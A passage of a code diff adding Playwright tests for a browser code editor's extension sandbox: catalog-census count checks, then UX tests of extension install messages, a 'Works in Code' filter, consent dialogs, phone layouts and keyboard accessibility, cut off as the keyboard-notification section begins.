456+ ok(`censo, con sus manifiestos reales (${reales.length}): ninguna que arrancó sale como «no puede correr» ni escondida`, !malR.length, malR.join(' '));
457+}
458+
459+// ── el censo estático del catálogo entero (tests/catalog-census/): cada recuento sale de sus líneas ──
460+const cat = JSON.parse(fs.readFileSync(path.join(HERE, 'catalog-census/summary.json'), 'utf8'));
461+const tsv = fs.readFileSync(path.join(HERE, 'catalog-census/extensions.tsv'), 'utf8').split('\n').filter(Boolean);
462+const [head, ...lineas] = tsv;
463+const cols = head.split('\t');
464+const filas = lineas.map(l => Object.fromEntries(l.split('\t').map((v, i) => [cols[i], v])));
465+const leidas = filas.filter(r => r.runtime !== 'unreadable');
466+const cuenta = f => leidas.filter(f).length;
467+const recount = {
468+ read: leidas.length, unreadable: filas.length - leidas.length,
469+ browserEntry: cuenta(r => r.runtime === 'browser'), runsInSandbox: cuenta(r => r.runs_in_sandbox === '1'), nodeOnly: cuenta(r => r.runtime === 'node'), noCode: cuenta(r => r.runtime === 'none'),
470+ declarativeApplies: cuenta(r => r.declarative === '1'), worksInCode: cuenta(r => r.works === '1'), worksOnlyThroughCode: cuenta(r => r.works === '1' && r.declarative === '0'), nothingWorks: cuenta(r => r.works === '0'),
471+};
472+const top = n => leidas.filter(r => r.rank !== '-' && Number(r.rank) <= n);
473+ok('catálogo: cada recuento del resumen sale de extensions.tsv (una línea por extensión), también el del top 500', Object.entries(recount).every(([k, v]) => cat[k] === v)
474+ && cat.bands.top500.browserEntry === top(500).filter(r => r.runtime === 'browser').length && cat.bands.top100.worksInCode === top(100).filter(r => r.works === '1').length,
475+ JSON.stringify(Object.fromEntries(Object.entries(recount).filter(([k, v]) => cat[k] !== v).map(([k, v]) => [k, [cat[k], v]]))));
476+ok('catálogo: con fecha y tamaño, todo listado, sin tiempos', /^\d{4}-\d\d-\d\d$/.test(cat.date) && cat.listed === filas.length && cat.listed >= cat.catalog && cat.notReachableBySearch === 0
477+ && !JSON.stringify(cat).match(/"(ms|millis|seconds|duration|elapsed|time)[A-Za-z]*"\s*:/i), JSON.stringify({ date: cat.date, catalog: cat.catalog, listed: cat.listed, lines: filas.length }));
478+ok('catálogo y censo en ejecución: las del top 500 con entrada de navegador son las mismas 89', top(500).filter(r => r.runtime === 'browser').length === results.length
479+ && top(500).filter(r => r.runtime === 'browser').every(r => results.some(([k]) => k.split('@')[0] === r.id.toLowerCase())));
480+
481+const files = [...fs.readdirSync(path.join(REPO, 'web/js/ext2')).map(f => 'web/js/ext2/' + f), 'sandbox/x2/headers.json', 'sandbox/x2/headers.mjs', 'sandbox/x2/v1/sandbox.html', 'sandbox/x2/v1/exthost-iframe.html'];
482+const home = ['/', 'Users', '/'].join(''), linuxHome = ['/', 'home', '/'].join('');
483+ok('ni rutas de usuario ni prefijos de home en el nivel 2', files.every(f => { const t = fs.readFileSync(path.join(REPO, f), 'utf8'); return !t.includes(home) && !t.includes(linuxHome); }));
484+
485+console.log(`\n${n - fails}/${n} ok`);
486+process.exit(fails ? 1 : 0);
added tests/x2_ux.mjs +618 −0
@@ -0,0 +1,618 @@
1+// What the user sees of level 2: the panel's "what will work" lines, the
2+// "Works in Code" filter, sizes, a phone, the new overlays' roles and keys, and
3+// that Code looks the same with code extensions running.
4+//
5+// node tests/x2_ux.mjs (own server; Open VSX mocked with context.route)
6+//
7+// X1 every kind of extension says, before installing, what will work:
8+// declarative parts, browser code that runs in the sandbox (with what it
9+// brings), "Needs Node", workbench parts that won't appear, why its code
10+// can't run (engine, proposed APIs, never activated, failed in the
11+// census), and "Tested in Code" or "Not tested in Code yet"; the run
12+// button is there, or inert with its reason
13+// X2 the "Works in Code" chip: a toggle (aria-pressed), hides what cannot
14+// work, says how many it checked, and says Open VSX sees those lookups
15+// X3 sizes: the consent dialog shows the runtime's size from the vendor
16+// manifest and the extension's own size
17+// X4 at 390×844: the panel, the consent dialog and an extension's dialogs
18+// fit with no horizontal scroll, and a command runs from the panel
19+// X5 roles and keys: the consent and modal dialogs trap Tab, start on
20+// Cancel, close on Escape and give the focus back; the quick pick is a
21+// combobox with a listbox, arrows move aria-activedescendant, Enter picks
22+// X6 the computed styles of 25 of Code's own elements are identical with
23+// and without code extensions running (no global CSS clash)
24+// X1b "Install" on a result that only brings code, with its details closed:
25+// its manifest is read first (no .vsix), the row shows "Install and run
26+// its code…" with the focus on it, and the message points at it
27+// X2b the filter turned on before any details are opened: rows still say
28+// what will work and offer the code button
29+// X3 also: "Install without its code" in the consent of a mixed extension,
30+// and the dialogs' primary button at 4.5:1 or more
31+// X7 where level 2 cannot start (Code served on a host config.js gives no
32+// sandbox): the lines say so, the run button is inert with the reason,
33+// and the filter hides what only brings code
34+// X8 keyboard: F6 and Code's palette reach a notification and come back,
35+// focus never falls to the page, a notification without buttons waits
36+// while hovered or focused, the quick pick and input box keep Tab inside
37+// and close on Escape from their buttons, Space checks with a filter
38+// X9 "Block requests for this session": the next request is dropped and
39+// the status bar says so, the user's own editor links still ask, the
40+// panel shows the block with Unblock
41+// X10 "Turn off all extension code" keeps the focus and announces it; the
42+// run button names its action, without aria-pressed
43+// X4b at 360×640 a long address: title and site in view, the address
44+// scrolls in its own box, the site repeated by the buttons; a
45+// notification does not cover the chat prompt
46+// X11 a tab opened before the sandbox ran is seen by extensions (onLanguage)
47+// X12 in Spanish, level 2's texts are Spanish (the keybindings not bound)
48+import fs from 'node:fs';
49+import path from 'node:path';
50+import { fileURLToPath } from 'node:url';
51+import { chromium } from 'playwright';
52+import { startServer } from './lib/x2-server.mjs';
53+import { mockOpenVsx } from './lib/openvsx-mock.mjs';
54+import { seed, UI, NOOP, SORT, FMT } from './lib/x2-fixtures.mjs';
55+
56+const HERE = path.dirname(fileURLToPath(import.meta.url));
57+let fails = 0;
58+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
59+const sleep = ms => new Promise(r => setTimeout(r, ms));
60+async function until(fn, { timeout = 20000, every = 150 } = {}) {
61+ const end = Date.now() + timeout;
62+ let v;
63+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
64+ return v;
65+}
66+
67+// ── manifiestos de prueba: uno por cada caso de «qué funcionará» ──
68+const base = (name, extra = {}, { namespace = 'elffuss-ux', version = '1.0.0' } = {}) => ({
69+ namespace, name, version, keywords: ['elffuss-ux'], published: null,
70+ manifest: { name, publisher: namespace, version, displayName: 'UX ' + name, license: 'MIT', engines: { vscode: '^1.80.0' }, ...extra },
71+});
72+const theme = { themes: [{ label: 'T', uiTheme: 'vs-dark', path: './t.json' }] };
73+const fixtures = [
74+ base('decl', { contributes: theme }),
75+ base('webok', { browser: './web.js', contributes: { commands: [{ command: 'w.a', title: 'A' }, { command: 'w.b', title: 'B' }], keybindings: [{ command: 'w.a', key: 'alt+k' }], configuration: { properties: { 'w.one': { type: 'string' }, 'w.two': { type: 'boolean' }, 'w.three': { type: 'number' } } } } }),
76+ base('nodetheme', { main: './out.js', contributes: theme }),
77+ base('webviews', { browser: './web.js', contributes: { views: { explorer: [{ id: 'v', name: 'V' }] }, viewsContainers: { activitybar: [{ id: 'c', title: 'C', icon: 'i.svg' }] }, commands: [{ command: 'v.a', title: 'A' }] } }),
78+ base('webengine', { browser: './web.js', engines: { vscode: '^1.200.0' } }),
79+ base('webproposals', { browser: './web.js', enabledApiProposals: ['fileSearchProvider'] }),
80+ base('webnever', { browser: './web.js', activationEvents: ['workspaceContains:**/never.txt'] }),
81+ // solo Node y un lenguaje que Monaco ya trae (como Pyrefly): nada se aplica
82+ base('pyreflike', { main: './out.js', contributes: { languages: [{ id: 'python', aliases: ['Python'], extensions: ['.py'] }] } }),
83+ // tema Y código para el navegador: el consentimiento ofrece instalarla sin su código
84+ base('mixedcode', { browser: './web.js', contributes: { ...theme, commands: [{ command: 'm.a', title: 'A' }] } }),
85+ // del censo (web/js/ext2/tested.json): una que arranca y una que falla
86+ base('prettier-vscode', { browser: './dist/web-extension.cjs', displayName: 'Prettier - Code formatter' }, { namespace: 'esbenp', version: '12.4.0' }),
87+ base('gitlens', { browser: './dist/browser/gitlens.js', displayName: 'GitLens' }, { namespace: 'eamodio', version: '2026.10.90519' }),
88+];
89+for (const f of fixtures) f.keywords = ['elffuss-ux'];
90+
91+const srv = await startServer();
92+const browser = await chromium.launch();
93+const errors = [];
94+async function profile({ width = 1280, height = 860, mock = true } = {}) {
95+ const ctx = await browser.newContext({ viewport: { width, height } });
96+ await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
97+ if (mock) await mockOpenVsx(ctx, fixtures);
98+ const page = await ctx.newPage();
99+ page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(e.message); });
100+ await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
101+ await page.evaluate(async () => {
102+ const o = await navigator.storage.getDirectory();
103+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
104+ await w('fruits.txt', 'pear\napple\nfig\n');
105+ await w('app.js', 'function zeta() {}\n');
106+ });
107+ return { ctx, page };
108+}
109+const openIde = async page => {
110+ await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
111+ await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
112+};
113+const panel = async page => { await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); }); await until(() => page.evaluate(() => !document.getElementById('settings-panel').hidden && !!document.getElementById('ext-panel'))); };
114+const search = async (page, q) => { await page.fill('#ext-q', q); await page.press('#ext-q', 'Enter'); };
115+const row = (page, id) => page.locator(`#ext-results .ext-row[data-id="${id}"]`);
116+
117+// ── X1: qué funcionará ──
118+const { ctx, page } = await profile();
119+await openIde(page);
120+await panel(page);
121+await search(page, 'elffuss-ux');
122+await until(async () => (await page.locator('#ext-results .ext-row').count()) === fixtures.length);
123+async function detail(id) {
124+ await row(page, id).locator('.ext-name').click();
125+ const text = await until(async () => { const t = await row(page, id).locator('.ext-detail').innerText(); return /Licence|License/.test(t) ? t : null; });
126+ const run = await row(page, id).evaluate(r => { const b = r.querySelector('.ext-install-code'); return b ? { inert: b.getAttribute('aria-disabled') === 'true', title: b.title } : null; });
127+ const install = await row(page, id).evaluate(r => { const b = r.querySelector('.ext-install'); return b ? { inert: b.getAttribute('aria-disabled') === 'true', title: b.title } : null; });
128+ return { text: text || '', run, install };
129+}
130+const d = {};
131+for (const f of fixtures) d[f.name] = await detail(`${f.namespace}.${f.name}`);
132+ok('X1 declarative only: "Works now (no code)", once, and no run button', /Works now \(no code\): 1 theme/.test(d.decl.text) && !/Applies:/.test(d.decl.text) && !d.decl.run, JSON.stringify(d.decl));
133+ok('X1 browser code: runs in the sandbox, with what it brings, and "Not tested in Code yet"', /Runs in Code’s sandbox: 2 commands, 1 keybinding, 3 settings\. No internet; sees only the files you open\./.test(d.webok.text)
134+ && /Not tested in Code yet/.test(d.webok.text) && d.webok.run && !d.webok.run.inert, JSON.stringify(d.webok));
135+ok('X1 …and nothing contradicts it ("Nothing … can be applied", "needs its code")', !/Nothing in this extension|needs its code/.test(d.webok.text + d.webviews.text + d['prettier-vscode'].text), JSON.stringify(d.webok.text));
136+ok('X1 Node only: "Needs Node: not available in the browser", and its theme still applies', /Needs Node: not available in the browser\. Only its themes, grammars and snippets apply\./.test(d.nodetheme.text)
137+ && /Works now \(no code\): 1 theme/.test(d.nodetheme.text) && !d.nodetheme.run, JSON.stringify(d.nodetheme));
138+ok('X1 workbench parts: "Won’t appear here: views"', /Won’t appear here: views/.test(d.webviews.text) && d.webviews.run && !d.webviews.run.inert, JSON.stringify(d.webviews));
139+ok('X1 proposed APIs: it runs, with a warning, and the run button works', /Runs in Code’s sandbox/.test(d.webproposals.text) && /Uses proposed VS Code APIs, which Code doesn’t turn on: some of its features may fail\./.test(d.webproposals.text)
140+ && !/can’t run here/.test(d.webproposals.text) && d.webproposals.run && !d.webproposals.run.inert, JSON.stringify(d.webproposals));
141+ok('X1 Node with only a language Monaco already has (like Pyrefly): "Needs Node", no "Works now", one line saying nothing applies, Install inert',
142+ /Needs Node: not available in the browser\./.test(d.pyreflike.text) && !/Works now|Only its themes/.test(d.pyreflike.text) && !d.pyreflike.run
143+ && d.pyreflike.install?.inert && /Nothing in this extension can be applied here/.test(d.pyreflike.install.title), JSON.stringify(d.pyreflike));
144+for (const [k, why] of [['webengine', /needs a newer VS Code than 1\.138\.0/], ['webnever', /nothing in Code starts it/]]) {
145+ ok(`X1 ${k}: why its code can’t run, and the run button inert with that reason`, why.test(d[k].text) && d[k].run?.inert && why.test(d[k].run.title), JSON.stringify(d[k]));
146+}
147+ok('X1 from the census: "Tested in Code: starts, … formatter"', /Tested in Code: starts.*formatter/.test(d['prettier-vscode'].text) && !d['prettier-vscode'].run.inert, JSON.stringify(d['prettier-vscode']));
148+ok('X1 failed in the census: "doesn’t start here", run button inert', /Tested in Code: doesn’t start here/.test(d.gitlens.text) && d.gitlens.run?.inert && /failed when tested in Code/.test(d.gitlens.run.title), JSON.stringify(d.gitlens).slice(0, 300));
149+
150+// ── X2: el filtro ──
151+const chip = page.locator('#ext-works');
152+ok('X2 the chip is a toggle, off by default', (await chip.getAttribute('aria-pressed')) === 'false' && (await chip.evaluate(b => b.tagName)) === 'BUTTON');
153+await chip.click();
154+const filtered = await until(async () => {
155+ const ids = await page.locator('#ext-results .ext-row').evaluateAll(rs => rs.filter(r => !r.hidden).map(r => r.dataset.id));
156+ const head = await page.textContent('#ext-results .sk-h').catch(() => '');
157+ return new RegExp(`checked ${fixtures.length} of ${fixtures.length}`).test(head) ? { ids, head } : null;
158+});
159+const shouldHide = ['elffuss-ux.webengine', 'elffuss-ux.webnever', 'eamodio.gitlens', 'elffuss-ux.pyreflike'];
160+ok('X2 with the filter on, what cannot work is hidden and it says how many it checked', !!filtered && shouldHide.every(id => !filtered.ids.includes(id))
161+ && ['elffuss-ux.decl', 'elffuss-ux.webok', 'elffuss-ux.nodetheme', 'esbenp.prettier-vscode', 'elffuss-ux.webproposals', 'elffuss-ux.mixedcode'].every(id => filtered.ids.includes(id)), JSON.stringify(filtered));
162+const rowLines = await page.evaluate(() => [...document.querySelectorAll('#ext-results .ext-row[data-id="elffuss-ux.decl"] .ext-x2-lines div')].map(x => x.textContent));
163+ok('X2 each row says what will work (here, "Works now (no code): 1 theme")', rowLines.includes('Works now (no code): 1 theme'), JSON.stringify(rowLines));
164+ok('X2 pressed, and it says Open VSX sees those lookups', (await chip.getAttribute('aria-pressed')) === 'true' && await page.isVisible('#ext-works-note')
165+ && /Open VSX also sees the manifest lookups/.test(await page.textContent('#ext-works-note')));
166+await chip.click();
167+ok('X2 off again: all results back', !!(await until(async () => (await page.locator('#ext-results .ext-row').count()) === fixtures.length)) && !(await page.isVisible('#ext-works-note')));
168+
169+// ── X3: tamaños ──
170+const manifest = JSON.parse(fs.readFileSync(path.join(HERE, '../web/js/ext2/vendor-manifest.json'), 'utf8'));
171+const runtimeMb = (manifest.files.reduce((n, f) => n + f.gz, 0) / 1e6).toFixed(1);
172+await row(page, 'esbenp.prettier-vscode').locator('.ext-install-code').click();
173+const consent = await until(() => page.evaluate(() => document.querySelector('#x2-consent [role="dialog"]')?.textContent || null));
174+const censusMb = (JSON.parse(fs.readFileSync(path.join(HERE, '../web/js/ext2/tested.json'), 'utf8')).results['esbenp.prettier-vscode@12.4.0'].bytes / 1e6).toFixed(1);
175+ok('X3 the consent shows the runtime’s size from the vendor manifest and the extension’s own', !!consent && consent.includes(`Code’s extension runtime: ${runtimeMb} MB`) && consent.includes(`This extension: ${censusMb} MB`), String(consent).slice(0, 400));
176+
177+// ── X5 (consentimiento): roles, Tab atrapado, foco en Cancelar, Escape devuelve el foco ──
178+const dlg = await page.evaluate(() => {
179+ const d = document.querySelector('#x2-consent [role="dialog"]');
180+ return { modal: d.getAttribute('aria-modal'), labelled: !!document.getElementById(d.getAttribute('aria-labelledby') || '-'), focus: document.activeElement?.textContent };
181+});
182+const inside = [];
183+for (let i = 0; i < 6; i++) { await page.keyboard.press('Tab'); inside.push(await page.evaluate(() => !!document.activeElement?.closest('#x2-consent'))); }
184+await page.keyboard.press('Escape');
185+const back = await until(() => page.evaluate(() => !document.querySelector('#x2-consent') && document.activeElement?.classList.contains('ext-install-code')));
186+ok('X5 consent: a labelled modal dialog, focus on Cancel, Tab stays inside, Escape closes and the focus goes back', dlg.modal === 'true' && dlg.labelled && dlg.focus === 'Cancel' && inside.every(Boolean) && !!back, JSON.stringify({ dlg, inside, back }));
187+// una con tema y código: el consentimiento ofrece instalarla sin su código (no «solo temas y snippets»)
188+await row(page, 'elffuss-ux.mixedcode').locator('.ext-install-code').click();
189+const mixedButtons = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-consent [role="dialog"]'); return d ? [...d.querySelectorAll('button')].map(b => b.textContent) : null; }));
190+ok('X3 consent of an extension with a theme and code: "Install without its code", "Install and run code"', JSON.stringify(mixedButtons) === JSON.stringify(['Cancel', 'Install without its code', 'Install and run code']), JSON.stringify(mixedButtons));
191+await page.keyboard.press('Escape');
192+// el botón primario de los diálogos: texto oscuro sobre el degradado (WCAG 1.4.3, 4,5:1)
193+await row(page, 'elffuss-ux.mixedcode').locator('.ext-install-code').click();
194+const contrast = await until(() => page.evaluate(() => {
195+ const b = document.querySelector('#x2-consent .x2-btn.x2-primary');
196+ if (!b) return null;
197+ const cs = getComputedStyle(b);
198+ const rgb = s => (s.match(/\d+(\.\d+)?/g) || []).slice(0, 3).map(Number);
199+ const lum = ([r, g, bl]) => { const f = v => { v /= 255; return v <= 0.03928 ? v / 12.92 : ((v + 0.055) / 1.055) ** 2.4; }; return 0.2126 * f(r) + 0.7152 * f(g) + 0.0722 * f(bl); };
200+ const ends = (cs.backgroundImage.match(/rgba?\([^)]*\)/g) || []).map(rgb);
201+ const fg = lum(rgb(cs.color));
202+ const ratio = c => { const l = lum(c); return (Math.max(l, fg) + 0.05) / (Math.min(l, fg) + 0.05); };
203+ return { color: cs.color, ends: ends.length, ratios: ends.map(c => +ratio(c).toFixed(2)) };
204+}));
205+ok('X3 the dialogs’ primary button: at least 4.5:1 against both ends of the gradient', !!contrast && contrast.ends >= 2 && contrast.ratios.every(r => r >= 4.5), JSON.stringify(contrast));
206+await page.keyboard.press('Escape');
207+await ctx.close();
208+
209+// ── X2b: el filtro encendido ANTES de abrir ningún detalle: las filas dicen igual qué funcionará ──
210+{
211+ const { ctx, page } = await profile();
212+ await openIde(page);
213+ await panel(page);
214+ await page.click('#ext-works');
215+ await search(page, 'elffuss-ux');
216+ const rows2 = await until(async () => {
217+ const head = await page.textContent('#ext-results .sk-h').catch(() => '');
218+ if (!new RegExp(`checked ${fixtures.length} of ${fixtures.length}`).test(head)) return null;
219+ await sleep(300);
220+ return page.evaluate(() => Object.fromEntries([...document.querySelectorAll('#ext-results .ext-row')].map(r => [r.dataset.id, {
221+ lines: [...r.querySelectorAll('.ext-x2-lines div')].map(x => x.textContent), code: !!r.querySelector('.ext-install-code'), opened: !r.querySelector('.ext-detail').hidden,
222+ }])));
223+ });
224+ ok('X2b filter first: each row says what will work and offers "Install and run its code…" without opening its details', !!rows2 && !rows2['elffuss-ux.webok']?.opened
225+ && rows2['elffuss-ux.webok']?.lines.some(l => /^Runs in Code’s sandbox/.test(l)) && rows2['elffuss-ux.webok'].code && rows2['esbenp.prettier-vscode']?.code
226+ && rows2['elffuss-ux.decl']?.lines.includes('Works now (no code): 1 theme') && !rows2['elffuss-ux.decl'].code, JSON.stringify(rows2));
227+ await ctx.close();
228+}
229+
230+// ── X1b: «Instalar» en una que solo trae código, sin abrir su detalle ──
231+{
232+ const { ctx, page } = await profile();
233+ const log = [];
234+ ctx.on('request', r => { if (/open-vsx\.org/.test(r.url())) log.push(r.method() + ' ' + new URL(r.url()).pathname); });
235+ const l2 = [];
236+ page.on('request', r => { if (/\/js\/ext2\//.test(r.url())) l2.push(new URL(r.url()).pathname); });
237+ await openIde(page);
238+ await panel(page);
239+ await search(page, 'elffuss-ux');
240+ await until(async () => (await page.locator('#ext-results .ext-row').count()) === fixtures.length);
241+ // un tema: su manifiesto dice que algo se aplica y se instala sin cargar nada del nivel 2
242+ await row(page, 'elffuss-ux.decl').locator('.ext-install').click();
243+ const declMsg = await until(() => page.evaluate(() => document.getElementById('ext-msg')?.textContent || null));
244+ ok('X1b Install on a theme reads its manifest and goes on to install it, without loading anything of level 2', l2.length === 0 && log.some(l => /elffuss-ux\/decl\/1\.0\.0\/file\/package\.json$/.test(l)) && !!declMsg,
245+ JSON.stringify({ l2, declMsg }));
246+ await row(page, 'elffuss-ux.webok').locator('.ext-install').click();
247+ const after = await until(() => page.evaluate(() => {
248+ const r = [...document.querySelectorAll('#ext-results .ext-row')].find(x => x.dataset.id === 'elffuss-ux.webok');
249+ const code = r?.querySelector('.ext-install-code');
250+ return code ? { focused: document.activeElement === code, msg: document.getElementById('ext-msg')?.textContent, role: document.getElementById('ext-msg')?.getAttribute('role'), buttons: [...r.querySelectorAll('.ext-actions button')].map(b => b.textContent) } : null;
251+ }));
252+ ok('X1b Install on a code-only result: the row now offers "Install and run its code…", with the focus on it, and the message points at it',
253+ !!after && after.focused && /It only brings code: use “Install and run its code…”/.test(after.msg) && after.buttons.includes('Install and run its code…'), JSON.stringify(after));
254+ ok('X1b …and nothing was downloaded to find that out (only its manifest)', !log.some(l => /\.vsix$/.test(l)) && log.some(l => /package\.json$/.test(l)), JSON.stringify(log));
255+ await ctx.close();
256+}
257+
258+// ── X5 (diálogos de una extensión) y X4 (teléfono) ──
259+{
260+ const { ctx, page } = await profile({ width: 390, height: 844, mock: false });
261+ await seed(page, [UI, SORT]);
262+ await openIde(page);
263+ const up = await until(() => page.evaluate(async () => { const s = (await import('/js/ext2/bridge.js')).state(); return s.state === 'running' && s.extensions.find(e => e.id === 'elffuss-test.ui')?.state === 'active'; }), { timeout: 90000 });
264+ ok('X4 premise: at 390 px the sandbox runs the two fixtures', !!up);
265+ await page.evaluate(() => { window.__ask = import('/js/ext2/bridge.js').then(b => b.runCommand('x2ui.ask')); });
266+ const toast = await until(() => page.evaluate(() => {
267+ const t = [...document.querySelectorAll('#x2-toasts .x2-toast')].find(x => x.textContent.includes('x2 asks'));
268+ if (!t) return null;
269+ const r = t.getBoundingClientRect();
270+ return { role: t.getAttribute('role'), left: r.left, right: r.right, w: innerWidth, sw: document.documentElement.scrollWidth };
271+ }));
272+ ok('X4 at 390 px a toast fits, with no horizontal scroll; X5 it is a status', !!toast && toast.role === 'status' && toast.left >= 0 && toast.right <= toast.w && toast.sw <= toast.w, JSON.stringify(toast));
273+ await page.click('#x2-toasts .x2-toast:has-text("x2 asks") .x2-toast-buttons button:has-text("Yes")');
274+ await until(() => page.evaluate(() => !!document.querySelector('#x2-dialog [role="dialog"]')));
275+ const modal = await page.evaluate(() => { const d = document.querySelector('#x2-dialog [role="dialog"]'); const r = d.getBoundingClientRect(); return { modal: d.getAttribute('aria-modal'), focus: document.activeElement?.textContent, left: r.left, right: r.right, w: innerWidth, sw: document.documentElement.scrollWidth }; });
276+ const trapped = [];
277+ for (let i = 0; i < 4; i++) { await page.keyboard.press('Shift+Tab'); trapped.push(await page.evaluate(() => !!document.activeElement?.closest('#x2-dialog'))); }
278+ ok('X5 an extension’s modal: aria-modal, focus on Cancel, Shift+Tab stays inside; X4 it fits', modal.modal === 'true' && modal.focus === 'Cancel' && trapped.every(Boolean) && modal.left >= 0 && modal.right <= modal.w && modal.sw <= modal.w, JSON.stringify({ modal, trapped }));
279+ await page.keyboard.press('Escape');
280+ const pick = await until(() => page.evaluate(() => {
281+ const p = document.getElementById('x2-pick');
282+ if (!p || p.classList.contains('x2-inputbox')) return null;
283+ const inp = p.querySelector('input'), list = p.querySelector('[role="listbox"]');
284+ return { combobox: inp.getAttribute('role'), expanded: inp.getAttribute('aria-expanded'), controls: inp.getAttribute('aria-controls') === list?.id, options: list ? list.querySelectorAll('[role="option"]').length : 0, active: inp.getAttribute('aria-activedescendant') };
285+ }));
286+ await page.keyboard.press('ArrowDown');
287+ await page.keyboard.press('ArrowDown');
288+ const moved = await page.evaluate(() => { const inp = document.querySelector('#x2-pick input'); const a = document.getElementById(inp.getAttribute('aria-activedescendant')); return { label: a?.querySelector('.x2-pick-label')?.textContent, selected: a?.getAttribute('aria-selected') }; });
289+ await page.keyboard.press('Enter');
290+ ok('X5 quick pick: a combobox that controls a listbox; the arrows move aria-activedescendant; Enter picks', !!pick && pick.combobox === 'combobox' && pick.expanded === 'true' && pick.controls && pick.options === 3
291+ && moved.label === 'c' && moved.selected === 'true', JSON.stringify({ pick, moved }));
292+ await until(() => page.evaluate(() => document.querySelectorAll('#x2-pick .x2-pick-item').length === 3));
293+ await page.keyboard.press('Escape');
294+ await until(() => page.evaluate(() => !!document.querySelector('#x2-input input')));
295+ await page.keyboard.press('Escape');
296+ const res = JSON.parse(await page.evaluate(() => window.__ask) || '{}');
297+ ok('X5 the extension got what was chosen: Yes, nothing (Escape), c, nothing, nothing', res.info === 'Yes' && res.modal === undefined && res.pick === 'c' && res.many === undefined && res.input === undefined, JSON.stringify(res));
298+ // un comando desde el panel, en el teléfono
299+ await page.evaluate(async () => { await (await import('/js/ide.js')).openFile('fruits.txt'); const ed = window.monaco.editor.getEditors()[0]; ed.setSelection(ed.getModel().getFullModelRange()); });
300+ // en un teléfono no hay barra de actividad: el panel se abre con «/extensions»
301+ await page.click('#btn-slash');
302+ await page.locator('#menu .menu-item', { hasText: '/extensions' }).click();
303+ await until(() => page.evaluate(() => !!document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden));
304+ const runBtn = page.locator('#ext-installed .ext-row[data-id="elffuss-test.sort"] [data-k="cmd:x2sort.sortLines"]');
305+ await until(async () => (await runBtn.count()) === 1);
306+ const layout = await page.evaluate(() => ({ sw: document.documentElement.scrollWidth, w: innerWidth }));
307+ await runBtn.click();
308+ ok('X4 at 390 px the panel fits and a command runs from it', layout.sw <= layout.w && !!(await until(() => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue() === 'apple\nfig\npear\n'))), JSON.stringify(layout));
309+ await ctx.close();
310+}
311+
312+// ── X7: donde el nivel 2 no puede arrancar: Code en un host sin recinto en
313+// config.js (aquí «code.localhost», que el navegador trata como contexto
314+// seguro y resuelve a sí mismo; code.elffuss.com sí tiene el suyo,
315+// x2.utopiaia.com) ──
316+{
317+ const alias = 'code.localhost';
318+ const srv2 = await startServer({ codeAliases: [alias] });
319+ const origin2 = `http://${alias}:${srv2.port}`;
320+ const b2 = browser;
321+ const ctx2 = await b2.newContext({ viewport: { width: 1280, height: 860 } });
322+ await ctx2.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
323+ await mockOpenVsx(ctx2, fixtures);
324+ const p2 = await ctx2.newPage();
325+ p2.on('pageerror', e => { if (e.message !== 'Canceled') errors.push('X7: ' + e.message); });
326+ await p2.goto(origin2 + '/?test-opfs', { waitUntil: 'domcontentloaded' });
327+ await p2.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
328+ const rt = await p2.evaluate(async () => (await import('/js/ext2/vendor.js')).runtimeInfo());
329+ const premise = await p2.evaluate(async () => { const c = await import('/js/ext2/config.js'); return c.sandboxOrigin(location) === null && c.sandboxOrigin({ hostname: 'code.elffuss.com', origin: 'https://code.elffuss.com', port: '' }) === 'https://x2.utopiaia.com'; });
330+ ok('X7 premise: Code on a host config.js gives no sandbox (code.elffuss.com has x2.utopiaia.com): level 2 is not available on this site', rt.available === false && rt.reason === 'site' && premise, JSON.stringify(rt));
331+ await panel(p2);
332+ await search(p2, 'elffuss-ux');
333+ await until(async () => (await p2.locator('#ext-results .ext-row').count()) === fixtures.length);
334+ const r7 = id => p2.locator(`#ext-results .ext-row[data-id="${id}"]`);
335+ await r7('elffuss-ux.webok').locator('.ext-name').click();
336+ const t7 = await until(async () => { const t = await r7('elffuss-ux.webok').locator('.ext-detail').innerText(); return /Licence|License/.test(t) ? t : null; });
337+ const run7 = await r7('elffuss-ux.webok').evaluate(r => { const b = r.querySelector('.ext-install-code'); return b ? { inert: b.getAttribute('aria-disabled') === 'true', title: b.title } : null; });
338+ ok('X7 there, a code-only extension says its code can’t run on this site (not "Runs in Code’s sandbox"), and its run button is inert with that reason',
339+ /Its code can’t run here\. Not available on this site yet: the sandbox needs its own domain\./.test(t7 || '') && !/Runs in Code’s sandbox/.test(t7 || '')
340+ && run7?.inert && /Not available on this site yet/.test(run7.title), JSON.stringify({ t7, run7 }));
341+ await p2.click('#ext-works');
342+ const f7 = await until(async () => {
343+ const head = await p2.textContent('#ext-results .sk-h').catch(() => '');
344+ return new RegExp(`checked ${fixtures.length} of ${fixtures.length}`).test(head) ? p2.locator('#ext-results .ext-row').evaluateAll(rs => rs.filter(r => !r.hidden).map(r => r.dataset.id)) : null;
345+ });
346+ ok('X7 …and the Works in Code filter hides what only brings code, keeping what applies without it', !!f7 && !f7.includes('elffuss-ux.webok') && !f7.includes('esbenp.prettier-vscode')
347+ && f7.includes('elffuss-ux.decl') && f7.includes('elffuss-ux.mixedcode'), JSON.stringify(f7));
348+ await ctx2.close();
349+ await srv2.close();
350+}
351+
352+// ── X8: los avisos y el selector, con el teclado ──
353+const MOD = process.platform === 'darwin' ? 'Meta' : 'Control';
